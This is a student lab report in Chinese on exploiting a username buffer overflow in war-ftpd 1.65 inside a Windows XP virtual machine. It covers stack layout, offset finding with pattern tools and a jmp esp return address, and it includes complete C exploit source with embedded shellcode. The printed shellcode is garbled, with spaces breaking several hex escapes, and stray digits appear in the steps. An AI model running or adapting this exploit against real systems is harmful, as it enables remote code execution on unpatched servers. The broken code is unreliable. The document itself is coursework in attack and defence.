网络攻击与防范实验报告姓名：_ ___ 学号：__ 所在班级：实验名称：缓冲区溢出实验实验日期：2014 年11 月9 日指导老师：张玉清实验评分：验收评语：实验目的：1、掌握缓冲区溢出的原理2、掌握常用的缓冲区溢出方法3、理解缓冲区溢出的危害性4、掌握防范和避免缓冲区溢出攻击的方法实验环境：主机系统：Windows8 x64位虚拟机系统：Windows XP(SP3)（IP：192.168.137.128）溢出对象：war-ftpd 1.65调试工具：CDB(Debugging Tools for Windows)；开发环境：Visual Studio 2013开发语言：C语言缓冲区溢出原理：在metasploit中搜索war-ftp可以发现war-ftpd1.65在windows下有以下漏洞username overflow，也就是在用户使用user username这个指令时，如果username 过长就会发生缓冲区溢出。

计算机在调用函数function（arg1,…,argm）时，函数栈的布局如图1所示，首先将函数的实参从右往左依次压栈，即argm,…,arg1。

然后将函数返回地址RET压栈。

这时EBP 指向当前函数的基地址，ESP指向栈顶，将此时的EBP压栈，然后ESP的值赋给EBP，这样EBP就指向新的函数栈的基地址。

调用函数后，再将局部变量依次压栈，这时ESP始终指向栈顶。

另外还有一个EIP寄存器，EIP中存放的是下一个要执行的指令的地址，程序崩溃时EIP的值就是RET。

通过构造特殊的字符串，即两两都不相同的字符串，我们可以根据EIP 的值定位RET的位置。

知道了RET的位置以后，我们只要在RET这个位置放上我们想要执行的跳转指令就可以实现跳转。

为了方便我们找一个系统中现成的指令jmp esp来实现跳转。

jmp esp指令在内存中的通用地址是0x7ffa4512，可以通过CDB的U 7ffa4512来确定该地址中存放的是否为jmp esp。

jmp esp将EIP指向了esp指向的位置，我们用定位RET的办法同样定位ESP指向的位置，然后用shellcode替换这块字符串，这样计算机就会执行shellcode，从而实现攻击。

当然，我们还可以用其他的指令，如jmp esi，同样得到jmp esi指令在系统内存中的地址，以及esi指向的内存，我们就可以执行shellcode。

也可以使用多次跳转。

图 1 函数栈的布局实验步骤：1、 测试漏洞是否存在1) 在虚拟机上用CDB 将war-ftpd.exe 挂起2) 使用主机与虚拟机上的war-ftpd 建立连接>ftp –n>open192.168.137.128 >user ‘A’*100003)溢出成功，CDB捕获到war-ftpd异常，EIP被“AAAA”覆盖。

ESP指向的位置也全是字符‘A’。

2、定位RET在字符串中的位置以及ESP指向的位置。

1)使用patternCreate构造1000个不一样字符构成的字符串2)在虚拟机上用CDB将war-ftpd.exe挂起3)再次使用主机与虚拟机上的war-ftpd建立连接>ftp –n>open192.168.137.128>user str不同字符的字符串4)程序溢出，EIP=32714131，ESP指向的位置中存放的是714134715)利用patternOffset定位RET和ESP指向的位置，RET的相对位置是485，ESP的相对位置是4936)构造字符串，编写攻击程序。

04938291000附：攻击程序源代码#include"stdafx.h"#include<winsock2.h>#pragma comment(lib, "ws2_32")int_tmain(int argc, _TCHAR* argv[]){char shellcode[] ="\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49""\x49\x49\x49\x49\x49 \x49\x49\x37\x49\x49\x49\x49\x51\x5a\x6a\x42""\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\ x52\x32\x41\x42\x41\x32""\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x38\x69\x79\x6c\x 4a""\x48\x67\x34\x47\x70\x77\x70\x53\x30\x6e\x6b\x67\x35\x45\x6c\x4c""\x4b\x73\x4c\x74\ x45\x31\x68\x54\x41\x68\x6f\x6c\x4b\x70\x4f\x57""\x68\x6e\x6b\x71\x4f\x45\x70\x65\x51\x 5a\x4b\x67\x39\x4c\x4b\x50""\x34\x4c\x4b\x77\x71\x68\x6e\x75\x61\x4b\x70\x4e\x79\x6e\x4 c\x4d""\x54\x4b\x70\x72\x54\x65\x57\x69\x51\x49\x5a\x46\x6d\x37\x71\x6f""\x32\x4a\x4b\x 58\x74\x77\x4b\x41\x44\x44\x64\x35\x54\x72\x55\x7a""\x45\x6c\x4b\x53\x6f\x51\x34\x37\x7 1\x48\x6b\x51\x76\x4c\x4b\x76""\x6c\x50\x4b\x6e\x6b\x71\x4f\x67\x6c\x37\x71\x68\x6b\x4c \x4b\x65""\x4c\x4c\x4b\x64\x41\x58\x6b\x4b\x39\x53\x6c\x75\x74\x46\x64\x78""\x43\x74\x7 1\x49\x50\x30\x64\x6e\x6b\x43\x70\x44\x70\x4c\x45\x4f""\x30\x41\x68\x44\x4c\x4e\x6b\x63 \x70\x44\x4c\x6e\x6b\x30\x70\x65""\x4c\x4e\x4d\x6c\x4b\x30\x68\x75\x58\x7a\x4b\x35\x59\ x4c\x4b\x4d""\x50\x58\x30\x37\x70\x47\x70\x77\x70\x6c\x4b\x65\x38\x57\x4c\x31""\x4f\x66 \x51\x48\x76\x65\x30\x70\x56\x4d\x59\x4a\x58\x6e\x63\x69""\x50\x31\x6b\x76\x30\x55\x38\ x5a\x50\x4e\x6a\x36\x64\x63\x6f\x61""\x78\x6a\x38\x4b\x4e\x6c\x4a\x54\x4e\x76\x37\x6b\x 4f\x4b\x57\x70""\x63\x51\x71\x32\x4c\x52\x43\x37\x70\x42";char jumpesp[] = "\x12\x45\xfa\x7f ";WSADATA WSAData;char Buff[1000], Recv[1024];int nRet;struct sockaddr_in ipAddress;SOCKET s;if (WSAStartup(MAKEWORD(1, 1), &WSAData) != 0){printf("[-] WSAStartup failed.\n");WSACleanup();exit(1);}s = socket(AF_INET, SOCK_STREAM, 0);ipAddress.sin_family = AF_INET;ipAddress.sin_addr.s_addr = inet_addr("192.168.137.128");ipAddress.sin_port = htons(21);try{ connect(s, (struct sockaddr *)&ipAddress, sizeof(ipAddress)); }catch (...){printf("connection error");}memset(Buff, 0x41, sizeof(Buff) - 1);memcpy(&Buff[485], jumpesp, sizeof(jumpesp) - 1);memcpy(&Buff[493], shellcode, sizeof(shellcode) - 1);Buff[493 + sizeof(shellcode) - 1] = '\0';recv(s, Recv, sizeof(Recv), 0);sprintf((char *)Recv, "user %s\r\n", Buff);send(s, (char *)Recv, strlen((char *)Recv), 0);return 0;}实验体会：（遇到的问题及解决方法、收获和体会、提出防范此类缓冲区溢出漏洞的方法）1、在做这次实验的时候几乎是把能碰到的问题都碰到了，因为以前对计算机内存的运行状况不是很了解，可没有用过metasploit，CDB这些工具，shellcode更是第一次听说，因此走了很多弯路，花了很长的时间才弄明白。

下面列举一下我遇到的问题吧：1)在做ccproxy.exe实验的时候字符串构造错了好几次，不先是发现少了ping后面的空格，后又发现没有\r\n命令不会执行。

2)Shellcode不能执行，在网上找到了很多的shellcode，但是能不能执行似乎是看运气，不过还好最后找到了一个能弹出计算器的。